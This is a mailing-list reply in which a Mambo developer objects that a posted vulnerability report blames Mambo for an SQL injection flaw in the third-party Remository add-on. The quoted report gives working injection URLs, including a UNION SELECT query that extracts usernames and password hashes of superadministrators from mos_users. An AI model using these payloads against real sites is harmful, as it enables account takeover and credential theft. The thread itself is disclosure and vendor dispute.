Question: Did you even bother to contact the vendor? Because if you had, you would have been told that this is NOT a Mambo security flaw. It affects a third party add-on called Remository that is not part of the core Mambo software. Please correct this security report, and also contact the developers of Remository so that they can correct the flaw. If you don't know who the developer of Remository is, you can find out through the site that you hacked using this exploit. >:-| Tim Broeker Mambo Developer On Fri, 2004-09-17 at 22:39, khoaimi wrote: > Vendor > www.mamboportal.com > Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and reliable. > > Bug name : SQL injection > Version : lastest Version 4.5.1(1.0.9) and lower. > > Exploit : > > http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/* > > You can exploit from the table "mos_users" with the query below > > http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/* > > with the values of usertype : > 0 = superadministrator > 1 = administrator > 2 = editor > 3 = user > 5 = publisher > 6 = manager > > Vendor feedback : > Not yet > > Vendor patch : > Not yet > > khoai > www.xfrog.org
